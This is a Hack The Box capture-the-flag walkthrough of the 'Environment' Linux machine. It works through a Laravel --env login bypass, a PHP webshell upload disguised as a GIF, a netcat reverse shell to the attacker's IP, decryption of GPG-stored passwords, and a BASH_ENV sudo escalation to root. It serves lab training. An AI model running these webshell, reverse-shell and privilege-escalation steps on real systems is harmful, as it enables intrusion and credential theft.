# HTB: Environment

## About Environment

`Environment` is a medium-difficulty Linux machine. The initial foothold involves exploiting [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), which allows environment manipulation through an `--env` parameter, bypassing the login functionality. From the management dashboard, [CVE-2024-2154](https://nvd.nist.gov/vuln/detail/CVE-2024-2154) is exploited to upload a `PHP` webshell embedded inside a profile image, giving the player a foothold through command execution. On the compromised system, exposed `GPG` keys can be found along with an encrypted backup. The decrypted data contains valid user passwords, enabling `SSH` access. Privilege escalation is achieved by leveraging sudo permissions. The user is allowed to execute a script with elevated privileges. Although the script itself is harmless, the `BASH_ENV` environment variable is preserved while increasing privileges, which allows execution of arbitrary commands as root.

**Environment lab link:** https://app.hackthebox.com/machines/659

## Initial Reconnaissance

First thing I like to do is scan target with nmap for open ports and reveal what technology is used on machine:

```bash
nmap -Pn -p- --min-rate 2000 -sC -sV -vv -oA nmap/environment 10.129.135.179

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrihP7aP61ww7KrHUutuC/GKOyHifRmeM070LMF7b6vguneFJ3dokS/UwZxcp+H82U2LL+patf3wEpLZz1oZdQ=
|   256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7xeTjQWBwI6WERkd6C7qIKOCnXxGGtesEDTnFtL2f2
80/tcp open  http    syn-ack nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx 1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Nmap scan reveals ssh and http ports open. SSH has 9.2p1 version and HTTP backend is nginx 1.22.1 version. SSH version is vulnerable to CVE-2024-6387 (regreSSHion) but I don't think this is the path for exploitation yet, because to exploit this vulnerability we would need to wait for about 6-8 hours to obtain a remote shell. I think I can do it faster ;)

It has domain name of environment.htb that we need to add to our /etc/hosts file to access the web app.

```bash
echo "10.129.135.179 environment.htb" | sudo tee -a /etc/hosts
```

## Website on port 80

After accessing http://environment.htb/ we land on a simple website:

![image](imgs/environment.png "environment.htb")

After looking at website and its source code I noticed that mailing list has some working functionality which is unusual for these types of labs. There is also CSRF token in input tag that we can decode via base64:

```html
<input type="hidden" name="_token" value="eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" autocomplete="off">
```

```bash
echo "eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" | base64 -d
yJ)E5-GT+*R
```

But nothing else in particular. To not waste time I would try to fuzz for subdomains & hidden directories on the target while looking at mailing list functionality in BurpSuite.

To fuzz for subdomains I'll use ffuf with wordlist from seclists:

```bash
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://FUZZ.environment.htb/"
```

Didn't find any subdomains. Let's check for hidden directories:

```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "http://environment.htb/FUZZ"

build                   [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms]
favicon.ico             [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
index.php               [Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 432ms]
login                   [Status: 200, Size: 2391, Words: 532, Lines: 55, Duration: 520ms]
logout                  [Status: 302, Size: 358, Words: 60, Lines: 12, Duration: 477ms]
node_modules/.package-lock.json [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 46ms]
mailing                 [Status: 405, Size: 244871, Words: 46159, Lines: 2576, Duration: 5556ms]
robots.txt              [Status: 200, Size: 24, Words: 2, Lines: 3, Duration: 50ms]
storage                 [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms]
up                      [Status: 200, Size: 2126, Words: 745, Lines: 51, Duration: 1204ms]
vendor                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms]
upload                  [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 794ms]
```

I found some interesting endpoints, like login, upload, storage, mailing.

Trying to access `http://environment.htb/upload` or `http://environment.htb/mailing` reveals to us PHP (8.2.28) and Laravel (11.30.0) version as well as an error message that indicates we can send only POST requests to these endpoints

That error page also reveals some internal backend codebase which means the application is running in **debug mode:**

![image](imgs/error-laravel.png)

Using Wappalyzer extension in browser I can confirm that website uses PHP and Laravel.

## Vulnerability Research & Exploitation

After checking vulnerabilities for Laravel framework I found this high rated CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-52301

But for now it seems useless, since our application is already in debugging state.

Also it seems like Laravel 11.30.0 is vulnerable to reflected XSS when in debug mode, [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918) but it is not useful for our case here since we don't have a victim to target.

### Login endpoint

If we'll modify any params in POST request body on `http://environment.htb/login` we'll get different errors depending on parameters that we changed:

![image](imgs/login-debug.png)

After removing any value from `remember` parameter in request body, backend reveals some additional application environment, `preprod` designed to be used by developer:

```php
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
    $request->session()->regenerate();
    $request->session()->put('user_id', 1);
    return redirect('/management/dashboard');
}
```

### Backdoor that was left by the devs

Oopsie, seems like dev himself left backdoor for us! Thats very nice of them

Now we can connect our [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301) to change environment to `preprod` and access endpoint (`/management/dashboard`) of the website we should not be able to.

By following this [PoC](https://github.com/Nyamort/CVE-2024-52301) we can add `?--env=preprod` as a parameter in the end of the login POST request to activate preprod environment:

```http
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
Content-Length: 132
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://environment.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://environment.htb/login
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=eyJpdiI6InRvSkEzL3hQcE1aMHBLUVVVQ0xWc3c9PSIsInZhbHVlIjoiaHlIY3ErT1V3aGxwcktVOWt5SXg4TFVJczVrNXJrV1prMGh5MW9JbC93L3hpTnJhem1CVnc5dEMybHJXOFhoYUx3TEl5VjlZYncwUHcweEtlMEdMME1uZHBqVEtWdGc0akIra2VpZXQrWGlmRW0xOStXcTVSZUx4WFBaQXhwTVciLCJtYWMiOiJiNzg0N2E1ODc4MWNlNmRlYzcwM2VmMTU2MWE4YzU0NjEzNTkzODgxOWNmNTUzMDQwOWYwNWViNzBlZWI2NDhlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImowRjRqQmhQQUZXVHJuSEhuWDYvaWc9PSIsInZhbHVlIjoiakVvWG1qVFFyUlQyV3NITFhKOUliVDlhdW1jTGlHdHRrYUpYTW5XdG0wT3paa09GejQzM3ZyMHhURm1GU3d3Q1JKYmhaWXY5R1ZKTmdvRWVtQXRiTFNWTytnK2l3M3E2dUhBWE1kc3I3OWsraHVER3poMWFLYWFlSENvS0tKZWIiLCJtYWMiOiI2OTYzM2U1OGViMjBmODBmNzQzMGQ4MTdhNGY1OWQ0NGZmM2JiOGExMzM5MTUwZTgxZDgwYmYwODNlOWNmOGFjIiwidGFnIjoiIn0%3D
Connection: keep-alive

_token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False
```

After sending request in Burp we need to click on `Show response in browser` to be redirected to `environment.htb/management/dashboard`

![image](imgs/burp-preprod.png)

![image](imgs/preprod.png)

Basically there is one dev account we are being logged as: hish@environment.htb

And the only functionality there is to upload a profile image by sending POST request to `environment.htb/upload` endpoint.

## File Upload Bypass

Trying to upload a plain PHP shell won't work, because backend checks for 'magic bytes' inside file contents to check if file is an actual image or not.

So we need to find a way to bypass these checks and somehow upload a shell

### Shell upload

I will use this site with a variety of remote shells for different languages: https://www.revshells.com/
In this case, since the site runs on PHP, I chose the following:

```
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
```

Backend probably has bad regex check on filename parameter, because I could upload a file named as `index.gif.php.` with the dot in the end, PHP cmd shell inside and magic bytes in request to bypass MIME type checking.

To bypass the magic bytes check, simply add the string `GIF87a` before our shell for gif file types, and also add a period at the end of the file name, which is truncated on the server side and gets converted to the usual `index.gif.php`.

```http
POST /upload HTTP/1.1
Host: environment.htb
Content-Length: 680
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyqgqevjtjeuKysRj
Accept: */*
Origin: http://environment.htb
Referer: http://environment.htb/management/profile
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=eyJpdiI6InpRTit5azYwcm1kcnl3SUgxVUlqa2c9PSIsInZhbHVlIjoiTytCOG9rclVwNkdVdDVQQnVoVEVTelRJZVpKK1pHb2k2UzlvWEIrekw3YzhjNTRKNDFBYkU2Q0tRbnZhRkVncjQwN1NxWU4wV0FhL0E3RjM2dWdaTTFsT1EvT1lXcXplR3BmMTRGWDdXb3ZuMmhlS2U4bjFvOTNHMk51S01PLzQiLCJtYWMiOiI0MmM3MjczZjkxYjA5ZTRiNmM4ZWJjNDFiNWY2ODE2MzI4YWI5NzYzNmU0YjJiZDBkOTEyY2JhYmFlNDIxNDUyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJZaWFGWFBKRk80ZGkycXVVRXhpK2c9PSIsInZhbHVlIjoidlp0SEpSdGFkeTJkYnRETzNGc0Q4MkgwTzFhSWpTYXNzWVdmU3lHK3A0WHEwQUpkZ1dkSzNPM2E2RmZoVkZZZnZNZnFqWjcxNmR3emxTSXF3N2E0YWJNVndxazhuY081NUpPeWpFcW1MMU5FSVp5WW9RVGFjcCtJK0wzOUYydmciLCJtYWMiOiIxMWVjZmM1NTM5NWI0ZGMzMDhlMTM2YTkwNjZhNTI4Y2FjMGEyOGVmZDFkNTBiYWQxNTAyZmViNTAwMDliODFiIiwidGFnIjoiIn0%3D
Connection: keep-alive

------WebKitFormBoundaryyqgqevjtjeuKysRj
Content-Disposition: form-data; name="_token"

U55EcHxTJCO0cvMScKzD20VSsKYd9oLV8lNhKtn9
------WebKitFormBoundaryyqgqevjtjeuKysRj
Content-Disposition: form-data; name="upload"; filename="index.gif.php."
Content-Type: image/jpeg

GIF87a
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

------WebKitFormBoundaryyqgqevjtjeuKysRj--
```

![image](imgs/shell-upload.png)

From the image above:
1. Modify filename to `index.gif.php.`
2. Send a [PHP cmd payload](https://www.revshells.com/) with magic bytes in the start of the file to bypass GIF MIME type checking
3. Backend parses it as a gif and shows that my PHP cmd shell is at `http://environment.htb/storage/files/index.gif.php.`

![image](imgs/rce.png)

Now we have RCE on the target. So to get fully functional reverse shell we need:

## Getting Reverse Shell

1. In our terminal:
   ```bash
   rlwrap nc -lvnp 1337
   ```

2. On our uploaded PHP cmd shell send any reverse shell for linux system pointing to our IP:
   ```bash
   busybox nc 10.10.14.53 1337 -e sh
   ```

![image](imgs/revshell.png)

3. I like to get a persistent interactive shell that won't drop connection after some time, so I'll use this set of commands after getting reverse connection on our machine:
   ```bash
   # After getting a reverse connection on netcat
   python3 -c 'import pty; pty.spawn("/bin/bash")'
   export TERM=xterm-256color
   export TERM=xterm
   
   # Now press Ctrl+Z
   
   stty raw -echo ; fg ; reset 
   stty columns 200 rows 200
   ```

## User Privilege Escalation

When we get a reverse shell, we're logged as user **www-data** on system, which is used on Linux systems by web servers like Apache/Nginx to host web applications.

So to map out our next steps we'll look for available users on server:

```bash
www-data@environment:~/app/storage/app/public/files$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
hish:x:1000:1000:hish,,,:/home/hish:/bin/bash
```

After looking at `/etc/passwd` (file that contains all users existing on unix systems) we can guess that we'll need to get access to hish user and then exploit our way to root:
`www-data -> hish -> root`

### Recon as www-data

To get started we would need to check for any critical files that can contain information about hish password (like logs, databases).

After some digging, I found `database.sqlite` in `/var/www/app/database`:

![image](imgs/db.png)

![image](imgs/users-db.png)

```bash
www-data@environment:~/app/database$ sqlite3 database.sqlite
sqlite3 database.sqlite
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
cache                  jobs                   sessions
cache_locks            mailing_list           users
failed_jobs            migrations
job_batches            password_reset_tokens
sqlite> select * from users;
select * from users;
1|Hish|hish@environment.htb||$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi||2025-01-07 01:51:54|2025-01-12 01:01:48|hish.png
2|Jono|jono@environment.htb||$2y$12$i.h1rug6NfC73tTb8XF0Y.W0GDBjrY5FBfsyX2wOAXfDWOUk9dphm||2025-01-07 01:52:35|2025-01-07 01:52:35|jono.png
3|Bethany|bethany@environment.htb||$2y$12$6kbg21YDMaGrt.iCUkP/s.yLEGAE2S78gWt.6MAODUD3JXFMS13J.||2025-01-07 01:53:18|2025-01-07 01:53:18|bethany.png
sqlite>
```

We see hashed password of our hish user we could try to crack using hashcat:

```bash
~/HackTheBox/environment > echo '$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi' > hish_hash.txt
~/HackTheBox/environment > hashid hish_hash.txt
--File 'hish_hash.txt'--
Analyzing '$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
--End of file 'hish_hash.txt'--%
~/HackTheBox/environment > hashcat hish_hash.txt -m 3200 /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting
```

But that won't work and take a lot of time and actually isn't needed to get hish's password because we have access to hish's home directory to read all files inside

### Decrypting hish's GPG keyvault

```bash
www-data@environment:~$ ls -la /home/hish
ls -la /home/hish
total 36
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 .
drwxr-xr-x 3 root root 4096 Jan 12  2025 ..
lrwxrwxrwx 1 root root    9 Apr  7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish  220 Jan  6  2025 .bash_logout
-rw-r--r-- 1 hish hish 3526 Jan 12  2025 .bashrc
drwxr-xr-x 4 hish hish 4096 Sep  5 17:46 .gnupg
drwxr-xr-x 3 hish hish 4096 Jan  6  2025 .local
-rw-r--r-- 1 hish hish  807 Jan  6  2025 .profile
drwxr-xr-x 2 hish hish 4096 Jan 12  2025 backup
-rw-r--r-- 1 root hish   33 Sep  5 04:00 user.txt
```

Looking at backup directory we see `keyvault.gpg` file that we can try to decrypt using GPG. But we will fail to do so when simply trying to decrypt it using `gpg -d keyvault.gpg`:

```bash
www-data@environment:/home/hish$ ls -la backup/
ls -la backup/
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12  2025 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish  430 Sep  5 17:48 keyvault.gpg
www-data@environment:/home/hish$ cd backup
cd backup
www-data@environment:/home/hish/backup$ gpg -d keyvault.gpg
gpg -d keyvault.gpg
gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
```

because we don't have permission to create files as www-data user in /var/www.

So we'll need to copy `keyvault.gpg` and hish's `.gnupg` directory with their private keys to directory we have write permissions to. I'll use `/tmp` for this

Also, for gpg to know that it needs to use private keys from our copied directory we need to pass `--homedir /tmp/.gnupg` parameter:

```bash
www-data@environment:$ cd /tmp
www-data@environment:/tmp$ cp -r /home/hish/.gnupg . && cd .gnupg
www-data@environment:/tmp/.gnupg$ ls
openpgp-revocs.d   pubring.kbx   random_seed
private-keys-v1.d  pubring.kbx~  trustdb.gpg
www-data@environment:/tmp/.gnupg$ cp /home/hish/backup/keyvault.gpg .
www-data@environment:/tmp/.gnupg$ gpg --homedir /tmp/.gnupg -d keyvault.gpg
gpg --homedir /tmp/.gnupg -d keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
```

here are the passwords, we can use the second one to login as hish user:

![image](imgs/hish-pass.png)

```bash
www-data@environment:/home/hish/backup$ su hish
su hish
Password: marineSPm@ster!!

hish@environment:~/backup$
hish@environment:~/backup$ ls -la
ls -la
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12  2025 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish  430 Sep  5 17:56 keyvault.gpg
hish@environment:~/backup$
hish@environment:~/backup$ id
id
uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth)
```

## Root Privilege Escalation

We're in! First thing I check when I get a user on a system is to see what programs I can run with sudo using `sudo -l`:

![image](imgs/hish-sudo.png)

Looing at `sudo -l` output we can see, that there's some `systeminfo` program that we can execute with root priviliges

That program is actually a simple bash script:

```bash
hish@environment:~$ cat /usr/bin/systeminfo
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10

echo -e "\n### Checking system-wide open ports ###"
ss -antlp

echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t

echo -e "\n### Checking system resource limits ###"
ulimit -a

echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10

echo -e "\n### Checking disk usage for all filesystems ###"
df -h
```

Here I lost some time, thinking where or how could we hijack execution of these commands, since they are running as root. But after checking `sudo -l` again, I see that I missed crucial `env_keep+="ENV BASH_ENV"` inside. tl;dr it means that we can overwrite bash's internal environment variable, so when we call for `/usr/bin/systeminfo` we could pass our own variable with path to malicious script that will get a root shell when trying to execute bash binary.

### BASH_ENV

Searching web for BASH_ENV gives us this explanation:

```
    BASH_ENV is an environment variable in Unix-like systems that 
    specifies the file to be executed when a non-interactive shell is started. 
    It allows users to set up a specific environment for scripts
    or commands run in that shell.
```

### Exploit

Now to get root, we'll need to create our own shell script that will copy bash binary with root privileges and then pass this script in `BASH_ENV` variable:

```bash
hish@environment:~$ cat > /tmp/root.sh << 'EOF'
cp /bin/bash /tmp/root-bash
chmod +s /tmp/root-bash
EOF
hish@environment:~$ chmod +x /tmp/root.sh
hish@environment:~$ sudo BASH_ENV=/tmp/root.sh systeminfo && /tmp/root-bash -p

--- systeminfo output ---

root-bash-5.2# cd /root
root-bash-5.2# whoami
root
root-bash-5.2# cat root.txt
********************************
root-bash-5.2#
```

![image](imgs/root.png)

Thats it!
We successfully got root shell on system!
